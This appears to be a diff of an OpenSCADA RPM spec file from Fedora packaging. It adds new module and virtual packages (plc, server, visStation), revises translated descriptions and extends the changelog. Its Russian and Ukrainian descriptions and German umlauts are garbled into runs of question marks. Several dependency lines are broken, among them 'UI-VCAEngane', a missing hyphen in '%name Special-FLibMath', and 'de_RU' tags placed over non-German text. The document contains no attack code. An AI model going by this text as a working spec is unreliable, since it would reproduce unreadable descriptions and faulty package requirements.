 %description UI-WebCfg -l de_DE.UTF8
-Das Paket %name-UI-WebCfg ermoeglicht den WEB-begruendeten
+Das Paket %name-UI-WebCfg gew?hrt den WEB-begr?ndeten
 OpenSCADA-Konfigurator.
 %endif
 
@@ -479,6 +529,14 @@ OpenSCADA-Konfigurator.
 Summary: Open SCADA interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description UI-WebCfgd
 The %name-UI-WebCfgd allows the dynamic WEB based OpenSCADA system
 configurator. Use XHTML, CSS and JavaScript technologies.
@@ -486,11 +544,11 @@ configurator. Use XHTML, CSS and JavaScr
 ????? %name-UI-WebCfgd, ????????????? ???????????? WEB ??????????
 ????????????. ?????????? XHTML, CSS ? JavaScript ??????????.
 %description UI-WebCfgd -l uk_UA.UTF8
-????? %name-UI-WebCfgd, ????? ?????????? WEB ????????? ????????????.
-??????????? XHTML, CSS ?? JavaScript ??????????.
+????? %name-UI-WebCfgd, ????? ?????????? WEB ?????????
+????????????. ??????????? XHTML, CSS ?? JavaScript ??????????.
 %description UI-WebCfgd -l de_DE.UTF8
-Das Paket %name-UI-WebCfgd ermoeglicht den dynamischen WEB-begruendeten
-Konfigurator. Nutzt XHTML, CSS and JavaScript technologies aus.
+Das Paket %name-UI-WebCfgd gew?hrt den dynamischen WEB-begr?ndeten
+Konfigurator. Nutzt die XHTML, CSS und JavaScript-Technologien aus.
 %endif
 
 %if 0%{?with_webvision}
@@ -498,18 +556,26 @@ Konfigurator. Nutzt XHTML, CSS and JavaS
 Summary: Open SCADA interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description UI-WebVision
-The %name-UI-WebVision web operation user interface for visual control area
-(VCA) projects playing.
+The %name-UI-WebVision web operation user interface for visual
+control area (VCA) projects playing.
 %description UI-WebVision -l ru_UA.UTF8
-????? %name-UI-WebVision, web ??????? ???????????????? ????????? ???
-?????????? ?????????? ???? ?????????? (???)
+????? %name-UI-WebVision, web ??????? ???????????????? ?????????
+??? ?????????? ?????????? ???? ?????????? (???)
 %description UI-WebVision -l uk_RU.UTF8
-????? %name-UI-WebVision, web ??????? ????????? ??????????? ??? ?????????
-??????????? ?????????? ????????? (???).
+????? %name-UI-WebVision, web ??????? ????????? ??????????? ???
+????????? ??????????? ?????????? ????????? (???).
 %description UI-WebVision -l de_DE.UTF8
-Das Paket %name-UI-WebVision, web-Arbeitsnutzersinterface fuer Ausfuehrung
-visueller Kontrollebereiche .
+Das Paket %name-UI-WebVision, web-Arbeitsnutzersinterface f?r die
+Ausf?hrung visueller Kontrollebereiche.
 %endif
 
 %if 0%{?with_http}
@@ -517,19 +583,29 @@ visueller Kontrollebereiche .
 Summary: Open SCADA http
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description Protocol-HTTP
-The %name-Protocol-HTTP package allows support HTTP for WWW based UIs.
+The %name-Protocol-HTTP package allows support HTTP
+for WWW based UIs.
 %description Protocol-HTTP -l ru_RU.UTF8
-????? %name-Protocol-HTTP ????????????? ????????? HTTP ??? WWW ??????????
-???????????????? ???????????.
+????? %name-Protocol-HTTP ????????????? ????????? HTTP ??? WWW
+?????????? ???????????????? ???????????.
 %description Protocol-HTTP -l uk_UA.UTF8
 ????? %name-Protocol-HTTP ????? ????????? HTTP ??? WWW ???????????
 ?????????????????? ???????????.
 %description Protocol-HTTP -l de_DE.UTF8
-Das Paket %name-Protocol-HTTP ermoeglicht die HTTP-Unterstuetzung fuer die
-WWW-basierenden Nutzersinterfaces .
+Das Paket %name-Protocol-HTTP gew?hrt die HTTP-Unterst?tzung
+f?r die WWW-basierenden Nutzersinterfaces.
 %endif
 
+############################### GUI-System ##################################
 %if 0%{?with_qtstarter}
 %package UI-QTStarter
 Summary: Open SCADA QT Starter
@@ -537,7 +613,7 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description UI-QTStarter
 The %name-UI-QTStarter Allow QT GUI starter. It is single for
-all QT GUI modules!.
+all QT GUI modules!
 %description UI-QTStarter -l ru_RU.UTF8
 ????? %name-UI-QTStarter ????????????? QT GUI ?????????.
 ?? ???????? ???????????? ??? ???? QT GUI ???????!
@@ -545,8 +621,8 @@ all QT GUI modules!.
 ????? %name-UI-QTStarter ????? QT GUI ??????. ??? ? ???? ???
 ???? QT GUI ???????!
 %description UI-QTStarter -l de_DE.UTF8
-Das Paket %name-UI-QTStarter  Enthaelt den QT GUI Starter.
-Ist das einzige fuer alle QT GUI Module!
+Das Paket %name-UI-QTStarter  Enth?lt den QT GUI-Starter.
+Ist das Einzige f?r alle QT GUI-Module!
 %endif
 
 %if 0%{?with_qtcfg}
@@ -555,54 +631,79 @@ Summary: Open SCADA QT interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description UI-QTCfg
-The %name-UI-QTCfg allows the QT based OpenSCADA system configurator.
+The %name-UI-QTCfg allows the QT based OpenSCADA system
+configurator.
 %description UI-QTCfg -l ru_RU.UTF8
-????? %name-UI-QTCfg ????????????? QT ?????????? ???????????? ???????
-OpenSCADA.
+????? %name-UI-QTCfg ????????????? QT ?????????? ????????????
+??????? OpenSCADA.
 %description UI-QTCfg -l uk_UA.UTF8
 ????? %name-UI-QTCfg ??????? ????? QTCfg-?????????????.
 %description UI-QTCfg -l de_DE.UTF8
-Das Paket %name-UI-QTCfg emrmoeglicht den QT-begruendeten
+Das Paket %name-UI-QTCfg gew?hrt den QT-begr?ndeten
 OpenSCADA-Systemkonfigurator.
 %endif
 
-%if 0%{?with_qtvision}
-%package UI-QTVision
+############################### UI-System ##################################
+
+%if 0%{?with_uivision}
+%package UI-Vision
 Summary: Open SCADA QT interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
-%description UI-QTVision
-The %name-UI-QTVision package includes files visual operation user
+%description UI-Vision
+The %name-UI-Vision package includes files visual operation user
 interface.
-%description UI-QTVision -l ru_RU.UTF8
-????? %name-UI-QTVision ???????? ????? ???????? ?????????????????
+%description UI-Vision -l ru_RU.UTF8
+????? %name-UI-Vision ???????? ????? ???????? ?????????????????
 ??????????.
-%description UI-QTVision -l uk_UA.UTF8
-????? %name-UI-QTVision ??????? ????? ???????? ??????????
+%description UI-Vision -l uk_UA.UTF8
+????? %name-UI-Vision ??????? ????? ???????? ??????????
 ???????????.
-%description UI-QTVision -l de_DE.UTF8
-Das Paket %name-UI-QTVision enthaelt die Arbeitsnutzersinterfacedaten
+%description UI-Vision -l de_DE.UTF8
+Das Paket %name-UI-Vision enth?lt die Arbeitsnutzersinterfacedaten
 %endif
 
+%if 0%{?with_uivcaengine}
+%package UI-VCAEngine
+Summary: Open SCADA QT interfaces
+Group: Applications/Engineering
+Requires: %{name} = %{version}-%{release}
+%description UI-VCAEngine
+The %{name}-UI-VCAEngine package - generic visual control
+area engine.
+%description UI-VCAEngine -l ru_RU.UTF8
+????? %{name}-UI-VCAEngine - ????? ?????? ????? ????????????
+? ??????????.
+%description UI-VCAEngine -l uk_UA.UTF8
+????? %{name}-UI-VCAEngine - ????????? ????? ??????????
+???????????? ?? ?????????.
+%description UI-VCAEngine -l de_DE.UTF8
+Das Paket %{name}-UI-VCAEngine - allgemeine
+Visualisierungssteuerung.
+%endif
+
+############################# Transport-System ##############################
 %if 0%{?with_ssl}
 %package Transport-SSL
 Summary: Open SCADA transports
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Transport-SSL
-The %name-Transport-SSL allows security socket layer based transport.
-Used OpenSSL and supported SSLv2, SSLv3 and TLSv1.
+The %name-Transport-SSL allows security socket layer based
+transport. Used OpenSSL and supported SSLv2, SSLv3 and TLSv1.
 %description Transport-SSL -l ru_RU.UTF8
-????? %name-Transport-SSL ????????????? ????????? ?????????? ?? ????
-?????????? ???????. ???????????? OpenSSL ? ????????????? SSLv2, SSLv3
+????? %name-Transport-SSL ????????????? ????????? ??????????
+?? ???? ?????????? ???????. ???????????? OpenSSL ? ????????????? SSLv2, SSLv3
 and TLSv1.
 %description Transport-SSL -l uk_UA.UTF8
-????? %name-Transport-SSL ????? ????????? ????????? ?? ?????????? ???? ???????.
- ??????????? OpenSSL ?? ????????????? SSLv2, SSLv3 and TLSv1.
+????? %name-Transport-SSL ????? ????????? ????????? ??
+?????????? ???? ???????.
+??????????? OpenSSL ?? ????????????? SSLv2, SSLv3 and TLSv1.
 %description Transport-SSL -l de_DE.UTF8
-Das Paket %name-Transport-SSL enthaelt den auf der Schicht der unfallfesten
-Sockets begruendeten Transport. Es werden OpenSSL benutzt und SSLv2, SSLv3
-und TLSv1 unterstuetzt.
+Das Paket %name-Transport-SSL enth?lt den auf der Schicht der
+unfallfesten.
+Sockets begr?ndeten Transport. Es werden OpenSSL und SSLv2, SSLv3
+und TLSv1 benutzt und unterst?tzt.
 %endif
 
 %if 0%{?with_sockets}
@@ -611,20 +712,22 @@ Summary: Open SCADA transports
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Transport-Sockets
-The %name-Transport-Sockets allows sockets based transport. Supports inet
-and unix sockets. Inet socket uses TCP and UDP protocols.
+The %name-Transport-Sockets allows sockets based transport.
+Supports inet and unix sockets.
+Inet socket uses TCP and UDP protocols.
 %description Transport-Sockets -l ru_RU.UTF8
-????? %name-Transport-Sockets ???????????? ????????? ?????????? ?? ???????.
-?????????????? ???????? ? UNIX ??????. ???????? ????? ?????????? TCP ? UDP
-?????????.
+????? %name-Transport-Sockets ???????????? ????????? ??????????
+?? ???????. ?????????????? ???????? ? UNIX ??????.
+???????? ????? ?????????? TCP ? UDP ?????????.
 %description Transport-Sockets -l uk_UA.UTF8
 ????? %name-Transport-Sockets ????? ????????? ????????? ?? ???????.
 ????????????? ???????? ?? UNIX ??????. ???????? ????? ???????????? TCP
 ?? UDP ?????????.
 %description Transport-Sockets -l de_DE.UTF8
-Das Paket %name-Transport-Sockets ermoeglicht den auf Sockets begruendeten
-Transport. Unterstuetzt werden Internet- und UNIX-Sockets. Internetsocket
-benutzt TCP und UDP Protokolle.
+Das Paket %name-Transport-Sockets gew?hrt den auf Sockets
+begr?ndeten Transport.
+Unterst?tzt werden die Internet- und UNIX-Sockets.
+Das Internetsocket benutzt die TCP und UDP-Protokolle.
 %endif
 
 %if 0%{?with_serial}
@@ -637,19 +740,20 @@ The %name-Transport-Serial, allow serial
 data exchanging through serial interfaces like RS232, RS485, GSM
 and other.
 %description Transport-Serial -l ru_RU.UTF8
-????? %name-Transport-Serial, ????????????? ???????????????? ?????????.
-???????????? ??? ?????? ??????? ????? ???????????????? ??????????
+????? %name-Transport-Serial, ????????????? ????????????????
+?????????. ???????????? ??? ?????? ??????? ????? ???????????????? ??????????
 ???? RS232, RS485, GSM ? ??????.
 %description Transport-Serial -l uk_UA.UTF8
 ????? %name-Transport-Serial, ????? ?????????? ??????????.
 ???????????????? ??? ?????? ?????? ????? ?????????? ???????????
 ???? RS232, RS485, GSM ?? ????.
 %description Transport-Serial -l de_DE.UTF8
-Das Paket %name-Transport-Serial, ermoeglicht konsequenten
-Nutzersinterface. Wird fuer das Umtauschen von Daten durch konsequente
+Das Paket %name-Transport-Serial, gew?hrt das konsequente
+Nutzersinterface. Wird f?r das Umtauschen von Daten durch konsequente
 Interfaces wie RS232, RS485, GSM und andere benutzt.
 %endif
 
+############################# Functions-System #########################
 %if 0%{?with_flibcomplex}
 %package Special-FlibComplex1
 Summary: Open SCADA special
@@ -665,7 +769,7 @@ Complex1 (SCADA Complex1 functions).
 ????? %name-Special-FlibComplex1 ????? ???????? ?????????? ???????
 Complex1 (??????? SCADA Complex1).
 %description Special-FlibComplex1 -l de_DE.UTF8
-Das Paket %name-Special-FlibComplex1s enthaelt statische
+Das Paket %name-Special-FlibComplex1s enth?lt statische
 Bibliothek der Complex1-Funktionen (Funktionen SCADA Complex1).
 %endif
 
@@ -675,15 +779,17 @@ Summary: Open SCADA special
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Special-FlibMath
-The %name-Special-FlibMath allows mathematic static function library.
+The %name-Special-FlibMath allows mathematic static function
+library.
 %description Special-FlibMath -l ru_RU.UTF8
 ????? %name-Special-FlibMath ????????????? ?????????? ???????????
 ?????????????? ???????.
 %description Special-FlibMath -l uk_UA.UTF8
-????? %name-Special-FlibMath ????? ???????? ?????????? ???????????? ???????.
+????? %name-Special-FlibMath ????? ???????? ??????????
+???????????? ???????.
 %description Special-FlibMath -l de_DE.UTF8
-The %name-Special-FlibMath : #Das Paket %name-Special-FlibMath enthaelt
-Standardbibliothek der mathematischen Funktionen.
+Das Paket %name-Special-FlibMath enth?lt die Standardbibliothek
+der mathematischen Funktionen.
 %endif
 
 %if 0%{?with_flibsys}
@@ -698,27 +804,30 @@ of the user programming area.
 ????? %name-Special-FlibSys ????????????? ? ??????? ??????????
 ?????????? API ????? ????????????????? ????????????????.
 %description Special-FlibSys -l uk_UA.UTF8
-????? %name-Special-FlibSys ????? ? ??????? ?????????? ?????????? API
-?????????? ????????????? ???????????.
+????? %name-Special-FlibSys ????? ? ??????? ??????????
+?????????? API ?????????? ????????????? ???????????.
 %description Special-FlibSys -l de_DE.UTF8
-Das Paket %name-Special-FlibSys ermoeglicht in das System die
+Das Paket %name-Special-FlibSys gew?hrt in das System die
 Bibliothek der API-Systemprogrammierung des Nutzersbereiches.
 %endif
 
+######################### Tests-System ##############################
 %if 0%{?with_systemtests}
 %package Special-SystemTests
 Summary: Open SCADA special
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Special-SystemTests
-The %name-Special-SystemTests allows the group tests for OpenSCADA system.
+The %name-Special-SystemTests allows the group tests
+for OpenSCADA system.
 %description Special-SystemTests -l ru_RU.UTF8
-????? %name-Special-SystemTests ????????????? ?????? ?????? ??? ???????
-OpenSCADA.
+????? %name-Special-SystemTests ????????????? ?????? ??????
+??? ??????? OpenSCADA.
 %description Special-SystemTests -l uk_UA.UTF8
-????? %name-Special-SystemTests ????? ????? ?????? ??? ??????? OpenSCADA.
+????? %name-Special-SystemTests ????? ????? ??????
+??? ??????? OpenSCADA.
 %description Special-SystemTests -l de_DE.UTF8
-Das Paket %name-Special-SystemTests enthaelt die Testgruppe fuer das
+Das Paket %name-Special-SystemTests enth?lt die Testgruppe f?r das
 OpenSCADA-System
 %endif
 
@@ -732,7 +841,7 @@ The %name-doc package include documents 
 %description doc -l uk_UA.UTF8
 ????? %name-doc ??????? ????? ????????????.
 %description doc -l de_DE.UTF8
-Das Paket %name-doc enthaelt Dokumentationsdateien.
+Das Paket %name-doc enth?lt die Dokumentationsdateien.
 
 %package devel
 Summary: Open SCADA development
@@ -745,13 +854,18 @@ The %name-devel package includes library
 %description devel -l uk_UA.UTF8
 ????? %name-devel ??????? ????? ????????? ?? ????????? ?????.
 %description devel -l de_DE.UTF8
-Das Paket %name-devel enthaelt Bibliothekenarchiv und eingeschlossene
+Das Paket %name-devel enth?lt das Bibliothekenarchiv und die
+eingeschlossenen
 Dateien.
 
 %package demo
 Summary: Open SCADA demo data bases and config
 Group: Applications/Engineering
 Requires:%{name} = %{version}-%{release}
+# ############### DB ########################
+%if 0%{?with_dbarch}
+Requires:%{name}-DB-SQLite = %{version}-%{release}
+%endif
 # ############### ARH ########################
 %if 0%{?with_dbarch}
 Requires:%{name}-ARH-DBArch = %{version}-%{release}
@@ -776,6 +890,9 @@ Requires:%{name}-Special-SystemTests = %
 %if 0%{?with_blockcalc}
 Requires:%{name}-DAQ-BlockCalc = %{version}-%{release}
 %endif
+%if 0%{?with_modbus}
+Requires:%{name}-DAQ-ModBus = %{version}-%{release}
+%endif
 %if 0%{?with_javalikecalc}
 Requires:%{name}-DAQ-JavaLikeCalc = %{version}-%{release}
 %endif
@@ -785,12 +902,12 @@ Requires:%{name}-DAQ-LogicLevel = %{vers
 %if 0%{?with_system}
 Requires:%{name}-DAQ-System = %{version}-%{release}
 %endif
-%if 0%{?with_blockcalc}
-Requires:%{name}-DAQ-BlockCalc = %{version}-%{release}
-%endif
 %if 0%{?with_daqgate}
 Requires:%{name}-DAQ-Gate = %{version}-%{release}
 %endif
+%if 0%{?with_icpdas}
+Requires:%{name}-DAQ-IcpDas = %{version}-%{release}
+%endif
 # ############### HTTP ########################
 %if 0%{?with_http}
 Requires:%{name}-Protocol-HTTP = %{version}-%{release}
@@ -816,8 +933,11 @@ Requires:%{name}-UI-QTStarter = %{versio
 %if 0%{?with_qtcfg}
 Requires:%{name}-UI-QTCfg = %{version}-%{release}
 %endif
-%if 0%{?with_qtvision}
-Requires:%{name}-UI-QTVision = %{version}-%{release}
+%if 0%{?with_uivision}
+Requires:%{name}-UI-Vision = %{version}-%{release}
+%endif
+%if 0%{?with_uivcaengine}
+Requires:%{name}-UI-VCAEngane = %{version}-%{release}
 %endif
 # ############### Web Interfaces ########################
 %if 0%{?with_webcfg}
@@ -829,28 +949,149 @@ Requires:%{name}-UI-WebCfgd = %{version}
 %if 0%{?with_webvision}
 Requires:%{name}-UI-WebVision = %{version}-%{release}
 %endif
-
 %description demo
 The %{name}-demo package includes demo data bases and configs.
 For start use command <openscada_demo>. For access use account
 "root" and password "openscada" or account "user" without password.
 %description demo -l ru_RU.UTF8
-????? %{name}-demo ???????? ???????????????? ???? ?????? ? ????????????.
-??? ?????? ??????????? ??????? <openscada_demo>. ??? ??????? ??????????? ??????
-"root" ? ?????? "openscada" ??? ?????? "user" ??? ??????.
+????? %{name}-demo ???????? ???????????????? ???? ?????? ?
+????????????. ??? ?????? ??????????? ??????? <openscada_demo>.
+??? ??????? ??????????? ?????? "root" ? ?????? "openscada"
+??? ?????? "user" ??? ??????.
 %description demo -l uk_UA.UTF8
-????? %{name}-demo ??????? ?????????????? ???? ????? ?? ????????????. ???
-?????? ?????????????? ??????? <openscada_demo>. ??? ??????? ??????????????
-????? "root" ?? ?????? "openscada" ??? ????? "user" ??? ??????.
+????? %{name}-demo ??????? ?????????????? ???? ????? ??
+????????????. ??? ?????? ?????????????? ??????? <openscada_demo>.
+??? ??????? ?????????????? ????? "root" ?? ?????? "openscada"
+??? ????? "user" ??? ??????.
 %description demo -l de_DE.UTF8
-Das Paket %{name}-demo enthaelt Demodatenbanken und Konfigurationen. Fuers
-Starten wird Kommando <openscada_demo> benutzt. Fuer den Zugang benutzen Sie
-die Anschreibung "root" und das Kennwort "openscada" oder die Anschreibung
-"user" ohne Kennwort.
+Das Paket %{name}-demo enth?lt die Demodatenbanken und
+Konfigurationen. F?rs Starten wird Kommando <openscada_demo>
+benutzt. F?r den Zugang benutzen Sie die Anschreibung "root"
+und das Kennwort "openscada" oder die Anschreibung "user" ohne Kennwort.
+
+# ############################### Virtual Packages ###################################
+%package plc
+Summary: OpenSCADA PLC.
+Group: Applications/Engineering
+Requires: %name = %version-%release
+Requires: %name-Archive-FSArch
+Requires: %name-DAQ-BlockCalc
+Requires: %name-DAQ-ICP_DAS
+Requires: %name-DAQ-JavaLikeCalc
+Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-ModBus
+Requires: %name-DAQ-System
+Requires: %name-DB-SQLite
+Requires: %name-Protocol-HTTP
+Requires: %name-Protocol-SelfSystem
+Requires: %name-Special-FLibComplex1
+Requires: %name-Special-FLibMath
+Requires: %name-Special-FLibSYS
+Requires: %name-Transport-SSL
+Requires: %name-Transport-Serial
+Requires: %name-Transport-Sockets
+Requires: %name-UI-VCAEngine
+Requires: %name-UI-WebCfgD
+Requires: %name-UI-WebVision
+%description plc
+The %name-plc package is virtual package for PLC.
+%description plc -l ru_RU.UTF8
+????? %name-plc ??? ??????????? ????? ??? ???.
+%description plc -l uk_UA.UTF8
+????? %name-plc ?? ??????????? ????? ??? ???.
+%description plc -l de_RU.UTF8
+????? %name-plc ist das Virtualpaket f?r PLC.
+
+%package server
+Summary: OpenSCADA server.
+Group: Applications/Engineering
+Requires: %name = %version-%release
+Requires: %name-DB-SQLite
+Requires: %name-DB-MySQL
+Requires: %name-DB-FireBird
+Requires: %name-DAQ-System
+Requires: %name-DAQ-BlockCalc
+Requires: %name-DAQ-JavaLikeCalc
+Requires: %name-DAQ-DiamondBoards
+Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-SNMP
+Requires: %name-DAQ-Siemens
+Requires: %name-DAQ-ModBus
+Requires: %name-DAQ-DCON
+Requires: %name-DAQ-DAQGate
+Requires: %name-DAQ-SoundCard
+Requires: %name-DAQ-ICP_DAS
+Requires: %name-Archive-FSArch
+Requires: %name-Archive-DBArch
+Requires: %name-Transport-Sockets
+Requires: %name-Transport-SSL
+Requires: %name-Transport-Serial
+Requires: %name-Protocol-HTTP
+Requires: %name-Protocol-SelfSystem
+Requires: %name-UI-VCAEngine
+Requires: %name-UI-WebCfg
+Requires: %name-UI-WebVision
+Requires: %name-WebCfgD
+Requires: %name-Special-FLibComplex1
+Requires: %name Special-FLibMath
+Requires: %name-Special-FLibSYS
+%description server
+The %name-server package is virtual package for OpenSCADA-server.
+%description server -l ru_RU.UTF8
+????? %name-server ??? ??????????? ????? ??? ??????? OpenSCADA.
+%description server -l uk_UA.UTF8
+????? %name-server ?? ??????????? ????? ??? ??????? OpenSCADA.
+%description server -l de_RU.UTF8
+????? %name-server ??? ??????????? ????? ??? ??????? OpenSCADA.
+
+%package visStation
+Summary: OpenSCADA visual station.
+Group: Applications/Engineering
+Requires: %name = %version-%release
+Requires: %name-DB-SQLite
+Requires: %name-DB-MySQL
+Requires: %name-DAQ-System
+Requires: %name-DAQ-BlockCalc
+Requires: %name-DAQ-JavaLikeCalc
+Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-SNMP
+Requires: %name-DAQ-Siemens
+Requires: %name-DAQ-ModBus
+Requires: %name-DAQ-DCON
+Requires: %name-DAQ-DAQGate
+Requires: %name-DAQ-SoundCard
+Requires: %name-Archive-FSArch
+Requires: %name-Archive-DBArch
+Requires: %name-Transport-Sockets
+Requires: %name-Transport-SSL
+Requires: %name-Transport-Serial
+Requires: %name-Protocol-SelfSystem
+Requires: %name-UI-VCAEngine
+Requires: %name-UI-Vision
+%if 0%{?rhel}
+Requires: %name-UI-QTStarter
+Requires: %name-UI-QTCfg
+%endif
+Requires: %name-Special-FLibComplex1
+Requires: %name-Special-FLibMath
+Requires: %name-Special-FLibSYS
+%description visStation
+The %name-visStation package is virtual package for visual
+station (OpenSCADA).
+%description visStation -l ru_RU.UTF8
+????? %name-visStation ??? ??????????? ????? ??? ??????????
+??????? (OpenSCADA).
+%description visStation -l uk_UA.UTF8
+????? %name-visStation ?? ??????????? ????? ??? ???????
+?????????? ??????? (OpenSCADA).
+%description visStation -l de_RU.UTF8
+????? %name-visStation ??? ??????????? ????? ??? ??????????
+??????? (OpenSCADA).
 
 %prep
 %setup -q -n %{srcname}
 %patch0 -p1 -b .fedora
+#%patch1 -p1 -b .openssl
 %{__sed} -i 's|/usr/lib/|%{_libdir}/|' data/oscada*.xml
 
 %build
@@ -870,7 +1111,8 @@ CFLAGS="%{optflags}" CXXFLAGS="%{optflag
 	%{!?with_modbus:--disable-ModBus} \
 	%{!?with_soundcard:--disable-SoundCard} \
 	%{!?with_qtcfg:--disable-QTCfg} \
-	%{!?with_qtvision:--disable-Vision} \
+	%{!?with_uivision:--disable-Vision} \
+	%{!?with_uivcaengine:--disable-VCAEngine} \
 	%{!?with_ssl:--disable-SSL} \
 	%{!?with_serial:--disable-Serial} \
 	%{!?with_sockets:--disable-Sockets} \
@@ -883,6 +1125,7 @@ CFLAGS="%{optflags}" CXXFLAGS="%{optflag
 	%{!?with_javalikecalc:--disable-JavaLikeCalc} \
 	%{!?with_logiclevel:--disable-LogicLev} \
 	%{!?with_daqgate:--disable-DAQGate} \
+	%{!?with_icpdas:--disable-ICP_DAS} \
 	%{!?with_selfsystem:--disable-SelfSystem} \
 	%{!?with_flibcomplex:--disable-FlibComplex1} \
 	%{!?with_flibmath:--disable-FlibMath} \
@@ -893,6 +1136,7 @@ CFLAGS="%{optflags}" CXXFLAGS="%{optflag
 make %{?_smp_mflags}
 
 %install
+%{__rm} -rf %{buildroot}
 make DESTDIR=%{buildroot} install
 
 # let's try to get rid of rpath
@@ -966,6 +1210,7 @@ desktop-file-install --dir=%{buildroot}%
 %{?with_javalikecalc: %exclude %{_libdir}/openscada/daq_JavaLikeCalc.so}
 %{?with_logiclevel: %exclude %{_libdir}/openscada/daq_LogicLev.so}
 %{?with_daqgate: %exclude %{_libdir}/openscada/daq_DAQGate.so}
+%{?with_icpdas: %exclude %{_libdir}/openscada/daq_ICP_DAS.so}
 %{?with_selfsystem: %exclude %{_libdir}/openscada/prot_SelfSystem.so}
 %{?with_firebird: %exclude %{_libdir}/openscada/bd_FireBird.so}
 %{?with_mysql: %exclude %{_libdir}/openscada/bd_MySQL.so}
@@ -977,8 +1222,10 @@ desktop-file-install --dir=%{buildroot}%
 %{?with_webcfgd: %exclude %{_libdir}/openscada/ui_WebCfgD.so}
 %{?with_webvision: %exclude %{_libdir}/openscada/ui_WebVision.so}
 %{?with_http: %exclude %{_libdir}/openscada/prot_HTTP.so}
+%{?with_qtstarter: %exclude %{_libdir}/openscada/ui_QTStarter.so}
 %{?with_qtcfg: %exclude %{_libdir}/openscada/ui_QTCfg.so}
-%{?with_qtvision: %exclude %{_libdir}/openscada/ui_Vision.so}
+%{?with_uivision: %exclude %{_libdir}/openscada/ui_Vision.so}
+%{?with_uivcaengine: %exclude %{_libdir}/openscada/ui_VCAEngine.so}
 %{?with_ssl: %exclude %{_libdir}/openscada/tr_SSL.so}
 %{?with_sockets: %exclude %{_libdir}/openscada/tr_Sockets.so}
 %{?with_ssl: %exclude %{_libdir}/openscada/tr_Serial.so}
@@ -992,6 +1239,15 @@ desktop-file-install --dir=%{buildroot}%
 %{_localstatedir}/spool/openscada/ARCHIVES/MESS/info
 %{_localstatedir}/spool/openscada/ARCHIVES/VAL/info
 
+%files plc
+%defattr(-,root,root)
+
+%files server
+%defattr(-,root,root)
+
+%files visStation
+%defattr(-,root,root)
+
 %files doc
 %defattr(-,root,root)
 %doc doc/*.pdf doc/Modules
@@ -1062,6 +1318,12 @@ desktop-file-install --dir=%{buildroot}%
 %{_libdir}/openscada/daq_DAQGate.so
 %endif
 
+%if 0%{?with_icpdas}
+%files DAQ-IcpDas
+%defattr(-,root,root)
+%{_libdir}/openscada/daq_ICP_DAS.so
+%endif
+
 %if 0%{?with_selfsystem}
 %files Protocol-SelfSystem
 %defattr(-,root,root)
@@ -1143,12 +1405,18 @@ desktop-file-install --dir=%{buildroot}%
 %{_libdir}/openscada/ui_QTCfg.so
 %endif
 
-%if 0%{?with_qtvision}
-%files UI-QTVision
+%if 0%{?with_uivision}
+%files UI-Vision
 %defattr(-,root,root)
 %{_libdir}/openscada/ui_Vision.so
 %endif
 
+%if 0%{?with_uivcaengine}
+%files UI-VCAEngine
+%defattr(-,root,root)
+%{_libdir}/openscada/ui_VCAEngine.so
+%endif
+
 %if 0%{?with_ssl}
 %files Transport-SSL
 %defattr(-,root,root)
@@ -1209,19 +1477,39 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Sun Oct 11 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-1
+- The change version for release 0.6.4
+- Moved Ui-VCAEngane module to the self package
+- Removed QTStarter module from the main package
+- Added the virtual plc, server, visStation packages
+- Some cosmetics.
+
+* Sun Oct 4 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.3.4-1
+- Adding self module ICP_DAS
+- Fixed Germany Language translations by Popkova Irina
+- Delete openscada-0.6.3.3-openssl.patch from previouns version
+- Adding the next version of the package.
+
+* Tue Sep 1 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.3.3-13
+- Adding Requires for webcfg, webcfgd, webvision, http and snmp
+- Some cosmetics.
+
+* Tue Aug 25 2009 Tomas Mraz <tmraz at redhat.com> - 0.6.3.3-12
+- rebuilt with new openssl
+
 * Mon Jul 27 2009 Popkov Aleksey <aleksey at oscada.org.ua> - 0.6.3.3-11
-- Fixed of macros %find_lang for epel-5 by Peter Lemenkov <lemenkov at gmail.com>.
+- Fixed of macros find_lang for epel-5 by Peter Lemenkov <lemenkov at gmail.com>.
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.3.3-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild.
 
 * Tue Jul 14 2009 Popkov Aleksey <aleksey at oscada.org.ua> 0.6.3.3-9
-- Adding %find_lang macros by Peter Lemenkov <lemenkov at gmail.com>
+- Adding find_lang macros by Peter Lemenkov <lemenkov at gmail.com>
 - Somes cosmetics.
 
 * Tue Jun 30 2009 Popkov Aleksey <aleksey at oscada.org.ua> 0.6.3.3-8
 - Added of dependences in to self package demo
-- Fixed %preun section by Peter Lemenkov <lemenkov at gmail.com>
+- Fixed preun section by Peter Lemenkov <lemenkov at gmail.com>
 - Somes cosmetics.
 
 * Wed Jun 19 2009 Popkov Aleksey <aleksey at oscada.org.ua> 0.6.3.3-7
